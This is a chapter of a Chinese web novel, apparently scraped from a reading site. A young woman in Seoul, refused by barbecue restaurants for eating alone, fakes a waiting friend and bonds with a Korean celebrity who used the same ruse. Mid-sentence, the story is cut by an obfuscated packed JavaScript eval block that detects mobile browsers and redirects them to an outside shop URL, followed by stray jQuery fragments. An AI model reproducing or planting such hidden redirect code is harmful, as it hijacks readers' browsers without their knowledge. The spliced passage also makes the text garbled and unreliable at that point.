默认冷灰
24号文字
方正启体

5. 烤肉店奇遇

作者:屿边南风本书字数:K更新时间:
    来首尔的第三个晚上,金欢终于受不了自己做饭了,决定外出觅食。


    “初一,你妈要出去觅食,你在家乖乖的。”


    初一低下头,看都没看她。


    金欢:“……行,是我自作多情了。”


    她站起来随手套了件衣服。脸上什么都没涂,哦不......涂了唇膏,她嘴巴容易干,韩国这破气候可不是开玩笑的。


    金欢对着镜子点了点头:“不错,还是这么好看。”


    出门前她回头看了一眼五一,五一趴在新买的狗窝里,歪着脑袋看她,尾巴摇了摇,表示“铲屎官再见”。


    金欢早就查好了,弘大附近有一家烤肉店,评分超高,韩国本地人推荐的。金欢的原则很简单:真正好吃的店都藏在巷子里,门口排队的都是本地大爷大妈。大爷大妈不会骗人,他们的嘴比米其林评委还刁。


    这家店符合她的标准:门脸不大,灯光昏黄,老板在门口切肉,刀工干净利落,每一刀下去厚度均匀,一看就是练了二十年的手艺人。


    金欢推门进去的时候,里面已经坐了七八桌,空气中弥漫着炭火和牛肉的香气。


    “好香。”


    老板娘迎上来,是个五十多岁的阿姨,看她一个人,问道:“一个人?”


    “是的,一个人。”


    老板娘的表情变了,带着一点抱歉的为难,像极了医院里告诉你“你这个病不太好治”的医生。


    “不好意思,”老板娘指了指店里的桌子,“我们店一个人不方便,都是大桌,两个人起。”


    金欢愣了一下。


    她来之前做了功课,知道韩国有些烤肉店确实不接待一个人吃饭的客人,烤肉都是两人份起点,一个人占一张桌子不划算,资本主义算盘打得她在北京都听见了。但她以为这是少数,没想到自己运气这么好,第一家就撞上了。


    “我可以吃两人份。”金欢尝试争取,眼神真诚得像在面试。


    老板娘抱歉地笑了笑:“不好意思,规定。”


    金欢:“……”


    她看了看店里那些空着的两人桌,又看了看老板娘那张“我也没办法”的脸。


    行吧。这破规定她能记一辈子,走出第一家店,拐进巷子里的第二家。


    “一个人?”老板看了她一眼,摇了摇头,“不行,两个人起。”


    第三家。


    “一个人?不好意思,没有位置了。”但店里明明还有三张空桌,老板说这话的时候眼睛都没眨一下。


    金欢站在第三家烤肉店门口,仰天长叹。


    她掏出手机,给林夕发了条语音,语气像受了天大的委屈:“你知道我现在什么处境吗?我想吃个烤肉,三家店都拒绝了我,因为我就一个人。我一个人怎么了?我一个人能吃两人份!我又不是不给钱!我甚至愿意多给钱!这是歧视!单身歧视!”


    林夕秒回了一条语音,笑声震天响,金欢把手机拿远了十公分还是觉得耳朵疼:“哈哈哈哈哈哈哈哈你也有今天!叫你一个人去韩国!叫你一个人去吃烤肉!你一个人吃海底捞的时候服务员给你对面放娃娃的劲儿呢?!”


    “你笑什么笑!”金欢气得差点把手机摔了,然后理智回笼,意识到摔了还得自己花钱买新的,默默把手机攥紧了。


    她站在巷子里,看着第四家烤肉店的招牌,脑子里开始飞速运转。


    假装有朋友。


    这招行不错,万一老板问起来呢?万一“朋友”一直不来呢?万一......


    管他呢,推开第四家店的门,面不改色心不跳,脸上挂着一种“老娘今天就是来吃肉的”的淡定表情。


    老板娘热情地迎上来:“几位?”


    金欢用她最自然的语气说:“两位。我朋友一会儿来,我先到。”


    语气之自然,表情之真诚,如果撒谎有奥运会,她这表现至少能进半决赛,也幸亏头发盖住了耳朵,要不然就得露馅,首战即失败。


    金欢被领到一张靠窗的两人桌坐下,接过菜单,心里疯狂给自己鼓掌。


    成了!


    她翻开菜单,目光扫过每一道菜,最后锁定了几样:牛肋眼、牛舌、大酱汤、泡菜饼。


    “先来这些,”金欢把菜单递还给老板娘,“肉先上,汤和饼可以晚一点。”


    “好的,你朋友大概什么时候到?”


    金欢面不改色:“堵车呢,可能要一会儿,我先吃。”


    老板娘笑着走了。


    金欢靠在椅背上,长出一口气,嘴角翘了起来。


    肉上来了,金欢拿起夹子,把肉一片一片地铺在烤盘上,动作不急不慢。雪花般的油脂在炭火的高温下迅速融化,发出“滋滋”的声响,肉香瞬间弥漫开来。


    第一片肉烤好了,她没有蘸任何酱料,直接放进嘴里。


    咀嚼了两下,她的眼睛亮了,瞳孔里仿佛有小星星在闪。


    “好......吃......”她用中文小声感叹了一句,尾音上扬,带着一种发自肺腑的满足感。


    肉质鲜嫩,油脂在嘴里化开,带着淡淡的炭火香,这片肉死得其所。


    金欢吃东西的时候有个特点,她吃得认真,每一口都仔细品味,但不会让人觉得做作。用她粉丝的话说:“看金欢吃东西,比自己吃还香。”


    她正在享受的时候,店门被推开了。


    老板娘迎上去:“几位?”


    男人的声音低沉,带着一点沙哑:“两位。朋友一会儿来。”


    金欢手里的筷子顿了一下,抬起头,看了那个男人一眼。


    那个男人也在看,准确地说,是在看店里的空位。他的目光扫过金欢这一桌的时候,两个人对视了一秒。


    金欢低下头继续吃肉。男人被老板娘领到金欢隔壁桌,中间隔了一条窄窄的过道。


    他坐下之后,直接点餐:“肋眼两份,牛舌一份,大酱汤,烧酒一瓶。”


    金欢听到这个点单,眉毛微微动了一下。


    肋眼、牛舌、大酱汤......跟她点的几乎一模一样,连顺序都一样。


    “懂行。”她小声嘟囔了一句,继续吃自己的,但耳朵不自觉地竖了起来。


    金欢本来没打算看他,但余光瞥见了他烤肉的姿势,拿起夹子,把肉铺在烤盘上,动作不急不慢,翻面的时机把握得很准。


    “也是个会吃的。”金欢心想,顺便又夹了一片自己的肉。


    她吃完最后一片牛舌,正准备叫老板娘加单,隔壁桌的男人忽然开口了。


    “你朋友还没来?”


    金欢转头,对上他的目光,他的眼神不轻浮,就是纯粹的有点无聊想找个人聊天的随意。大概是一个人烤肉太寂寞了。


    “嗯……堵车。”金欢说,语气里带着一丝连她自己都没察觉的心虚。


    男人看了她一眼,嘴角微微弯了一下,弯的弧度很克制,但足够明显:“我朋友也堵车。”


    两个人对视了一秒。同时笑了。那个笑容的意思是:我们都没有朋友要来。


    “你也是一个人?”金欢问,把“也是”两个字咬得很重。


    “嗯。”男人点头,语气里带着一种过来人的沧桑,“被三家店拒绝了。”


    “三家?!”金欢一拍桌子,声音大到旁边两桌都转头看她,“我也是三家!第一家说一个人不方便,第二家直接说不行,第三家明明有空桌却跟我说没位置了。你说气不气人?”


    男人听到这里,笑了起来。他的笑声不大,但很有感染力,肩膀一抖一抖的。


    “我也是,”他说,“所以我才想到这个办法——假装有朋友。”男人说。


    “我也是!”金欢激动得差点站起来,“我在第四家店门口站了三分钟,做了十分钟的心理建设,才鼓起勇气进来骗人。。”


    男人看着她,眼睛里带着一种“这人有点意思”的光。


    “你是中国人?”他问。


    “对。北京来的。”金欢点头,“你呢?韩国人?”


    “韩国人。”男人用韩语回答,然后又用带着口音的中文说,“我的中文不太好,但能听懂一点。以前学过。”


    金欢笑了,自动切换成中韩混合模式:“那我慢点说,夹杂着来,你能听懂就听懂,听不懂我比划。”


    “你是来旅游的?”男人问。


    “上学,刚来三天。”


    男人点了点头,没有继续追问,而是把烤盘上烤好的肉夹起来,蘸了点酱,放进嘴里。


    他咀嚼的时候,表情变了,他是眼睛微微眯了一下,然后轻轻点了一下头。


    金欢看到这个表情,忽然开口了:“好吃吧?”


    男人看了她一眼,点头:“嗯,这家店肉的质量一直很稳定。老板有自己的进货渠道,不是什么便宜货。”


    “肋眼的油脂分布不错,”金欢接话,筷子指着自己盘子里还没烤的肉,“但我觉得牛舌更惊艳。厚切,火候掌握得好,外面焦里面嫩。肋眼是标准的好学生,牛舌是偏科的天才。”


    男人听到这句话,放下了筷子,认真地看着她。


    “你也是懂吃的。不是那种‘好吃好吃真好吃’就完事了的。”


    “我姥爷是厨师,”金欢笑了笑,语气里带着一点骄傲,“从小被养刁了。我姥爷说了,一个人会不会吃,看他对牛舌的态度就知道。只吃肋眼的叫贪嘴,会吃牛舌的叫懂行。”


    “难怪。”男人又夹了一片牛舌,放进嘴里,慢慢咀嚼,“你刚才说的对,牛舌确实比肋眼更惊艳。但肋眼的第一口,是最香的。那种脂肪在嘴里化开的感觉,是任何其他部位都给不了的。”


    “对!”金欢一拍桌子,这次比刚才拍得还响,“第一口肋眼,脂肪在嘴里化开的那一下,是整个烤□□验的高光时刻。后面再吃,就没有那种惊艳感了。所以第一口一定要给肋眼,这是烤肉界的礼仪。”


    男人的眼睛亮了。他放下筷子,转过身来,用一种“我终于找到知音了”的表情看着金欢。


    两个人隔着一条窄窄的过道,相视而笑,笑得心照不宣,笑得好像全世界只有他们两个人懂这个道理。


    老板娘端着大酱汤走过来,看了看他们两个,用韩语说:“你们认识?”


    “刚认识。”男人回答,语气随意。


    “哦——”老板娘拖长了音,意味深长地笑了笑,放下汤走了。那个“哦”里面包含了韩国大妈对爱情故事的想象。


    金欢看着老板娘的背影,小声说:“她是不是误会了?她那个‘哦’是什么意思?”


    男人耸肩,一副见怪不怪的表情:“韩国大妈都这样,你要是跟她解释我们只是拼桌的,她能跟你急。”


    “我们是各自吃各自的。”金欢强调。


    “她知道,但她还是会误会。这就是韩国大妈的职业素养。”男人端起烧酒,倒了一杯,“你要不要喝?我请,庆祝我们两个骗子成功骗到座位。”


    金欢想了想,看了看自己已经空了的盘子,又看了看他烤盘上还没吃完的肉。


    “行,我还有个泡菜饼,一起分。光喝你的酒不还礼,这不是我的作风。”


    “对了,我叫金希彻。”他说,语气随意得像在说“今天天气不错”,然后等着看对方的反应。


    金


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484919|201952||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    欢手里的筷子顿了一下,金希彻,这个名字……


    她总觉得有点耳熟,好像在哪里听过。想了三秒,终于想起来了——林夕以前好像给她看过一张照片,指着一群人说这是......她当时在吃薯片,根本没走心,就记得“有个人的名字听起来像洗发水”。


    “我叫金欢。”她说,语气同样随意,没有任何波澜。


    金希彻看着她,表情有点意外:“你不惊讶?”


    “惊讶什么?”金欢真诚地问。


    “我是明星啊。”金希彻说这句话的时候,语气里没有炫耀,反而带着一点“你居然不认识我”的不可思议。


    “我知道啊。”金欢淡定地夹了一片泡菜饼,嚼了嚼,咽下去,“但你又不是人民币。”


    金希彻沉默了两秒,然后笑了起来。整个烤肉店的人都转头看过来,连门口切肉的老板都抬头看了一眼。


    “你这个人,”他指着金欢,笑得喘不上气,“有意思,太有意思了。”


    “我怎么了?”金欢一脸无辜,嘴里还嚼着泡菜饼,“我说的是实话啊。”


    “你知道有多少人见到我,第一反应是尖叫、要签名、要合照、晕倒吗?”金希彻擦了擦眼角笑出来的泪。


    “那他们是你粉丝,我又不是。”金欢耸了耸肩。


    “那你是我什么?”


    金欢想了想,给出了一个非常精准的定义:“饭友,同病相怜的单身食客联盟成员。”


    金希彻看着金欢,眼睛里带着一种“我单方面宣布跟这个人做朋友了”的光。


    “你平时也这样吗?”他问。


    “什么样?”


    “这么……直接。想到什么说什么,完全不看人脸色。”


    “分人。”金欢说,语气理所当然,“对值得直接的人就直接,对不值得的人就懒得说话。浪费我能量。”


    “那我属于值得的?”


    “目前看还行,”金欢歪了歪头,认真地评估了一下,“能吃到一个锅里的人,人品都不会太差。饭桌上最能看出一个人的品性——怎么点菜、怎么分肉、怎么对待服务员,全在细节里。”


    金希彻举起烧酒杯:“这句话我要记下来。以后别人问我为什么跟你做朋友,我就说......因为能吃到一个锅里。”


    金欢也举起自己的水杯,跟他碰了一下,碰杯的声音清脆,混在烤肉店的嘈杂里。


    从那一刻起,金欢和金希彻的关系就定了性,两个有趣的人的惺惺相惜,是“我编的故事你一秒就懂”的默契。


    俩人一见如故,聊了很多,金希彻问她为什么来韩国留学。


    “想换个环境,”金欢说,然后又补了一句大实话,“顺便看看帅哥。北京的帅哥我看腻了,换个地方换换口味。”


    金希彻说:“你倒是诚实,一点都不装。”


    金欢说:“我这人最大的优点就是诚实。懒是第二。”


    金希彻问她做什么工作。


    “拍视频的,自媒体博主。在互联网上当电子榨菜。”


    金希彻又问她在哪个大学,金欢说梨花女大。


    “那离弘大不远,”金希彻说,“以后可以经常约饭。我知道这附近好多好吃的店,一个人不方便去的,咱俩可以搭伙骗座位。”


    金欢点头:“可以。但你请客。”


    金希彻瞪大眼睛:“凭什么?”


    “因为你是前辈啊,”金欢理直气壮,“在韩国,前辈请后辈吃饭不是天经地义吗?我这是尊重你们的文化。”


    “你是中国人,”金希彻不上当,“你不用遵守韩国的前后辈文化。”


    “那就不请了?”金欢问。


    “我请。”


    金欢笑了,笑得眼睛弯成月牙形,露出两颗小虎牙。


    金希彻看着她的笑容,忽然说了一句:“你长得挺好看的。”


    金欢愣了一下:“谢谢?虽然你夸人的方式很突然。”


    “不是那种恭维,”金希彻认真地说,表情诚恳,“是客观评价。你不化妆比很多化妆的女生都好看。而且你眼角那颗痣,很有辨识度。”


    “我妈也这么说。”金欢摸了摸眼角的红痣,“她说这是福相,招财的。”


    “你妈说得对。”金希彻点头,“你这性格,在娱乐圈能火。”


    “不了不了,”金欢摆手,“我懒得营业。”


    两个人又聊了一会儿,金希彻的烧酒喝完了,金欢的泡菜饼也吃完了,金希彻叫老板娘结账。


    金欢说:“我的我自己付。”


    金希彻说:“说好我请的。”


    “那是开玩笑的,”金欢掏出钱包,“咱俩AA。我跟你又不熟,吃你一顿以后还得还人情,麻烦。”


    付完钱,两个人走出烤肉店,首尔的夜风吹过来,带着一点凉意,吹散了身上的烤肉味。


    金希彻把卫衣的帽子戴上,双手插进口袋,转头看金欢。


    “你住哪?”


    “弘大附近,走路十分钟。”


    “我开车来的,送你?大晚上的你一个人走不安全。”


    “不用,”金欢摇头,指了指前面的路,“我想走走,消消食。刚才吃太多了,得消耗一下,不然回去睡不着。”


    金希彻点了点头,没有勉强。


    “今天谢谢你请的泡菜饼。虽然是AA,但饼是你点的,算你请的。”


    金欢笑着挥了挥手,“走了,下次见。”


    金希彻站在原地,看着她的背影,说:“到家了跟我说一声。”


    金欢秒回:“知道了,啰嗦。你这人怎么跟我妈似的。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)